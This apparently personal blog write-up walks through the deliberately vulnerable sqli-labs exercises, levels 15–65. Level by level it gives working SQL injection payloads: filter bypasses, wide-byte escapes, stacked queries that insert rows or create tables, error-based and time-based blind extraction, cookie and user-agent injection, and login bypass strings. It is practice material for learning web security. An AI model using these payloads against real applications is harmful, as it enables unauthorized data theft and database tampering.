sqli labs 24-65 通关

sqli labs-24

本关为二次排序注入的示范例。 二次排序注入也成为存储型的注入, 就是将可能导致
sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发 sql 注入。
二次排序注入思路:
1. 黑客通过构造数据的形式, 在浏览器或者其他软件中提交 HTTP 数据报文请求到服务
端进行处理, 提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
2. 服务端应用程序会将黑客提交的数据信息进行存储, 通常是保存在数据库中, 保存的
数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响
应。
3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
4. 服务端接收到黑客提交的第二个请求信息后, 为了处理该请求, 服务端会查询数据库
中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服
务端环境中执行。
5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注
入漏洞利用是否成功。
此例子中我们的步骤是注册一个 admin’#的账号, 接下来登录该帐号后进行修改密码。 此时
修改的就是 admin 的密码

1、先注册一个admin’#的账号,密码123 然后登陆
2、修改密码为1234
3、以 admin 和1234 进行登陆,发现登陆成功。刚才的修改密码实际上是修改了admin的密码

其原理在于我们在修改密码时的语句是 sql = “UPDATE users SET PASSWORD=’pass’ where username=’username’ and password=’curr_pass’ “;
那么以admin’#用户进行修改时,实际上执行的是 sql = “UPDATE users SET PASSWORD=’pass’ where username=’admin’#’ and password=’$curr_pass’ “;
也就是 username=’admin’,修改的是admin密码。

sqli labs-25

本关考察的是or and的过滤绕过。如何绕过 or 和 and 过滤。 一般性提供以下几种思路:
(1) 大小写变形 Or,OR,oR
(2) 编码, hex, urlencode
(3) 添加注释/or/
(4) 利用符号 and=&& or=||
(5) 双写大小写,Oorr,AandnD
看看他的后台代码

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)

    return $id;
}

不区分大小写,使用 1′ AnD extractvalue(1,concat(0x7e,(select @@version),0x7e))#注入失败,被过滤了。

这里用&&绕过没有成功,不知道为啥; 使用的||绕过

使用双写也能绕过 Oorr,AandnD

sqli labs-25a

1、输入单引号会有警告,但不在有具体的错误信息显示,所以报错注入不能用了,得另寻他法。

2、尝试下联合注入呢?-1 union select 1,2,@@version –+

sqli labs-26

此处过滤的更多了。后台代码

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);         //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

单引号会报错,但是要知道他过滤了很多字符。

空格使用 %0a, or 使用||, 1’%0a||%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))%0a||%0a’1’=’1 成功爆出数据库版本

但是你继续往下做就会发现 %0a 绕空格是不行的。

比如爆表名,用到select database()= select%0adatabase();他在执行时依然会被过滤掉,成了selectdatabase();其他的语句也是如此

所以此处需要用 () 来绕过空格。比如select database()=select(database())

爆表名 extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=’security’)),0x7e))

注意了, 这里面原本是 information_schema.tables,但是它里面包含了or,会被过滤掉,所以使用双写oorr绕过,也就变成了 infoorrmation_schema.tables,里面所有的空格都用括号来绕过

sqli labs-26a

他这里从后台可以看到实际上是sql="select * from users where id=('id') limit 0,1"; 他多了个括号。题目提示使用盲注。所以这里使用布尔盲注。构造1′)%26%26(length(database())=1)%26%26(‘1’=’1 这里%26%26可以使用双写AandnD来代替。burpsuite爆破一下。爆破成功后的页面会显示出登陆的username和password
[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_3a232796e3c8eebc993a89806ecbb903.爆破[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_3a232796e3c8eebc993a89806ecbb903.jpcgh[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_3a232796e3c8eebc993a89806ecbb903.爆破

sqli labs-27

这个就过滤的更多了。

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);         //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}

这里试验下联合注入和报错注入。联合注入要用到空格绕过,这个 %0a 啊,有时行有时又不行,我就没搞懂。这个例子是可以的。union和select使用大小写绕过。 1000’%0aunIon%0aSelEcT%0a1,database(),3||’1

sqli labs-27a

输入双引号会报错,但是没有显示错误的内容,将sqli labs-27的单引号改为双引号即可。1000″%0aunIon%0aSelEcT%0a1,database(),3||”1 也可以1000″%0aUnioN%0aSeleCt%0a1,database(),”3

sqli labs-28

1000′)%0aUnioN%0a(SeleCt%0a1,database(),’3 似乎是考察括号和union select在一起

sqli labs-28a

11000%27)%0aUnioN%0a(SeleCt%0a1,@@version,%273 这个和sqli labs-28没啥区别似乎

sqli labs-29

这个和之前不一样,2个参数。后面一个id直接联合注入。利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2 id=1&id=33332%27%20union%20select%201,@@version,%273

sqli labs-30

输入单引号和双引号页面明显不一样。直接尝试双引号的联合注入 11000″%0aUnioN%0aSeleCt%0a1,@@version,”3

[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_c75cb70f5c0e374b6346e6cf1012a1a3.jpg联合注入[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_c75cb70f5c0e374b6346e6cf1012a1a3.jpgrhezhur[](http://p0csec.com/wp-content/uploads/2020/04/wp_editor_md_c75cb70f5c0e374b6346e6cf1012a1a3.jpg联合注入

sqli labs-31

11000″)%0aUnioN%0aSeleCt%0a1,@@version,(“3

$id = '"' .$id. '"'; //先用"拼接输入的参数id
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";//再把id用括号,
//所以在最后需要闭合的是  ("  ")

sqli labs-32

转义了。 比如输入的 ‘ 会被转为 \’

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}

利用%df进行绕过,使他与%5c构成一个汉字。实际上这里ASCII大于128的都可以,%df%5c构成汉字,然后剩下的%27就成了具有闭合功能的单引号了。这里加入%df后报错,说明可以注入了。

-1%df%27union%20select%201,2,3%20%20–+ 看清楚这里命令。这里加了单引号’ ,按理说应该考虑闭合的问题,但是呢,这里又有注释符–+, 注释符并没有处在闭合的引号内,所以这个注释符是起作用的,他会将 ‘limit 0,1 注释掉,所以union select后面不用单引号也是可以的,如果注释符被过滤掉,则需要考虑闭合单引号的问题了。

sqli labs-33

与sqli labs-32相比,就是过滤函数不一样。同样的语句绕过 -1%df%27union%20select%201,2,3%20%20–+

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

sqli labs-34

这里变成了post型的注入了。提交的单引号同样会被进行转义处理,在get型的注入中,数据是以url的形式提交的,他会进行url编码。

这里第一个方法,在burpsuite里改包。 uname=admin%df’ union select 1,database()%23&passwd=admin1&submit=Submit

第二个方法,将 utf-8 转换为 utf-16 或 utf-32, 例如将 ‘ 转为 utf-16 为 �’ 然后利用万能密码 username: �’ or 1=1#。这个转换不知道他们是怎么转的,我没能转成他这个符号�,我复制粘贴的,不过这个符合的复现确实成功了,

sqli labs-35

这个和sqli labs-33似乎一样的,好像还简单点?
sql=”SELECT * FROM users WHERE id=id LIMIT 0,1″;

sqli labs-36

-1%dfunion select 1,database(),3 –+

第二个方法,使用单引号’的utf格式进行绕过。-1�’union select 1,@@version,3 –+ 也可以是-1%EF%BF%BD%27union%20select%201,user(),3–+ 不过这个转换不知道在哪转的。

sqli labs -37

这个和sqli labs-34一样。抓包或者万能密码。

sqli labs-38

Stacked injections:堆叠注入。 从名词的含义就可以看到应该是一堆 sql 语句(多条) 一起执
行。 而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结
尾加 ; 表示语句结束。 这样我们就想到了是不是可以多句一起使用。 这个叫做 stacked
injection
1′;insert into users(id,username,password)values(’38’,’less38′,’hello’)–+

sqli labs-39

和sqli labs-38没啥区别,变成了数字型注入。1;insert%20into%20users(id,username,password)values(%2740%27,%27less39%27,%27weak%27)%20–+

sqli labs-40

没啥区别,变成了(‘id’) 1′);insert into users(id,username,password)values(’41’,’less40′,’weak11′) –+

sqli labs-41

这个和之前没有区别,只是没了回显。d=1;%20insert%20into%20users(id,usernam
e,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23

sqli labs-42

在password处没有进行过滤,尝试注入。

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

sql = "select * from users where username='username' and password='$password'";
构造登陆的语句,username=22 password=c’;create table less42 like users# 后面执行的是 select * from users where username=’22’ and password=’c’;create table less42 like users#

sqli labs-43

与sqli labs-42基本一样,只不过多了个(”) sql = “select * from users where username=(‘username’) and password=(‘$password’)”; 在password处输入 c’);create table www23w like users#,username随便输啥。发现已创建新表。

sqli labs-44

和之前的基本没区别,只是没了报错信息,只好自己挨个尝试了,password=a’;insert into users(id,username,password) values (‘144′,’less44′,’hello’)#

sqli labs-45

和sqli labs-44没区别,都没有回显,只是闭合情况不一样,password=c’);create table less45 like users#

sqli labs-46

这里开始order by注入。感觉自己对他的理解不够透彻,还需要再仔细研究一遍。这里先跟着别人复现一遍。尝试?sort=1 desc 或者 asc, 显示结果不同, 则表明可以注入。 (升序 or 降序排列)
1、这里先用sort=right(version(),1)和sort=left(version(),1)尝试下。页面并没有产生变化,这里是我无法理解的地方之一。某文章说这里说明数字不起作用,但是如果尝试sort=1和sort=2,页面是不同的。数字起作用了啊。
2、报错注入。sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e)) 这里ExtractValue函数有长度限制,最长 32 位,所以下面表名都没有显示完全。

3、sort=rand(ascii(left(database(),1))=115) 与sort=rand(ascii(left(database(),1))=116)页面不同,rand(true)与rand(false)其结果是不一样的
4、延时注入。1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep
(5)) 测试时pending了很久,快2min了。

sqli labs-47

sql 语句为 sql = “SELECT * FROM users ORDER BY ‘id'”;
报错注入 sort=1%27and%20(select%20*%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(version(),1))x)–+

延时注入 sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep
(5))–+

sqli labs-48

此关没有报错回显,那么之前用的报错注入就不行了。盲注还是可以的、。rand(ascii(left(database(),1))=115)

也可以延时注入。1%20and%20(If(ascii(substr(database(),1,1))=115,0,slee
p(5)))

sqli labs-49

这里依然没有回显,同样的延时注入。1%27%20and%20(If(ascii(substr((select%20username%2
0from%20users%20where%20id=1),1,1))=69,0,sleep(5)))–+ 这里好像出问题了,一直pending

sqli labs-50

这里开始基于order by的堆叠注入。sort=1;create%20table%20less50%20like%20users

sqli labs-51

这里是单引号闭合,所以需要注释。sort=1%27;create%20table%20less51%20like%20users–+

sqli labs-52

和之前一样,只是这里不再有错误回显。sort=1;create%20table%20less52%20like%20users

sqli labs-53

单引号闭合,无错误回显,加上注释即可。sort=1%27;create%20table%20less53%20like%20users–+

sqli labs-54

这关主要有次数限制,当然了本菜逼肯定不是一次通关的。-1′ union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+ 爆出表名

爆出列名 -1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27hi8o6jkiwi%27–+

爆出 secret列的内容 -1%27union%20select%201,2,group_concat(secret_ULXV)%20from%20challenges.hi8o6jkiwi–+

然后提交这个key即可。没来的及截图,一眨眼就跳转了。大概内容是恭喜什么的

sqli labs-55

与sqli labs54一样,只是加了个括号进行过滤。-1) union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+ 爆出表名。

sqli labs-56

与54 55关一样,只不过变成了(’id’) 爆表名 -1′) union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+

sqli labs-57

$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

爆表名 -1″ union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=’challenges’ –+

sqli labs-58

加单引号测试时发现其报错,直接报错注入。1′ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

sqli labs-59

sql=”SELECT * FROM security.users WHERE id=id LIMIT 0,1″; 1 and 1=1; 1 and 1=2返回不同页面,1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e)) –+

sqli labs-60

$id = '("'.$id.'")';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

1″) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e)) –+

sqli labs-61

sql=”SELECT * FROM security.users WHERE id=((‘id’)) LIMIT 0,1″; 两层括号 1′)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e)) –+

sqli labs-62

没有回显没有报错。尝试延时注入。sql=”SELECT * FROM security.users WHERE id=(‘id’) LIMIT 0,1″; 尝试语句 1%27)and%20if(length(database())=10,sleep(5),1)%20–+ 爆出数据库名长度

sqli labs-63

sql=”SELECT * FROM security.users WHERE id=’id’ LIMIT 0,1″; 依然是延迟注入,爆数据库名长度 1′ and if(length(database())=10,sleep(5),1) –+

sqli labs-64

sql=”SELECT * FROM security.users WHERE id=((id)) LIMIT 0,1″; 延迟注入。1))and%20if(length(database())=10,sleep(5),1)%20–+

sqli labs-65

$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

这里后台是(“id”) 1″)%20and%20if(length(database())=10,sleep(5),1)%20–+

参考资料:
https://www.cnblogs.com/lcamry/p/5763154.html
https://www.cnblogs.com/xyongsec/p/11230333.html
https://cloud.tencent.com/developer/article/1038223

sqli labs-23

1、这里对输入的注释符‘#’ ‘–’进行了过滤。

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

2、报错注入的话,使用 1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’=’1 来绕过,加入后面那个 and ‘1’=’1 是为了闭合、

3、使用联合注入的话。构造闭合-1′ union select 1,@@datadir,’3 在后台执行语句中就成了$sql=”SELECT * FROM users WHERE id=’-1′ union select 1,@@datadir,’3′ LIMIT 0,1″;

sqli labs-22

1、这个和sqli labs-21一样,只不过它只是使用了双引号。对 11″ and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 进行base64加密 MTEiIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpIw== 然后将修改cookie后再次发送请求。同样直接爆出数据库版本

sqli labs-21

1、与sqli-20一样,但是它对cookie进行了base64加密处理。所以第一个想到的就是直接对报错注入语句进行base 64加密在提交,。admin1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 加密后 YWRtaW4xJyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpKSM= 发现其会报错。。

2、原来是要括号啊。采用 admin1′) and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 进行base64加密 YWRtaW4xJykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkj 再次发送修改cookie后的请求,发现成功爆出数据库版本。

sqli labs-20

1、这是一个cookie注入。先用admin1 admin1登陆成功后,会发现页面显示出当前cookie。然后刷新页面,在burp请求包里就会出现当前的cookie,随便修改下cookie,会发现在返回页面中的cookie也发生了更改。

2、将cookie的值修改为报错注入的语句呢?11′ and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 返回包中发现其成功返回报错信息。

sqli labs-18

1、 这个很神奇。只有当用 admin1 admin1先登录成功后才会显示user-agent,而且它的username和password在输入时都经过了过滤。

2、倒推回去,当用admin1 admin1进行登录时,使用burpsuite抓包,然后随便修改下useragent,看他的返回结果,结果发现页面显示的user agent为我们修改后的user agent

3、尝试将 user agent改为 1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) 然后提交执行,抓包发现其报错

4、既然是字符型,那很可能是闭合的问题? 尝试 1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’=’1,提交抓包,发现其已经爆出 数据库版本。

sqli labs-16

1、 查看后台代码

$uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

和sqli labs-15一样,只不过是单引号换成了”) 构造万能密码 2″) or 1=1 or (“1″=”1 成功登录
同样使用时间盲注,构造 admin”) and if(length(database())=8,1,sleep(5))# 对应的sql语句为

@$sql="SELECT username, password FROM users WHERE username=("admin") and if(length(database())=8,1,sleep(5))#") and password=($passwd) LIMIT 0,1";

sqli labs-15

1、无论输入啥似乎都没反应没有回显没有报错。直接查看后台代码,发现其就是一个单引号,只不过没有各种回显。

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

尝试了下万能密码 admin’ or 1=1 or ‘1’=’1,顺利登录。 那么问题来了,这种怎么爆表呢?没有回显也没有报错,首先想到就该是时间盲注。这里构造如下 admin’ and if(length(database())=8,sleep(5),1)#, 那么其sql语句就是

@$sql="SELECT username, password FROM users WHERE username='admin' and if(length(database())=8,sleep(5),1)#' and password='$passwd' LIMIT 0,1";

如果数据库名的长度为8,则延迟5秒钟,否则直接登录。

成功pending 5 秒钟。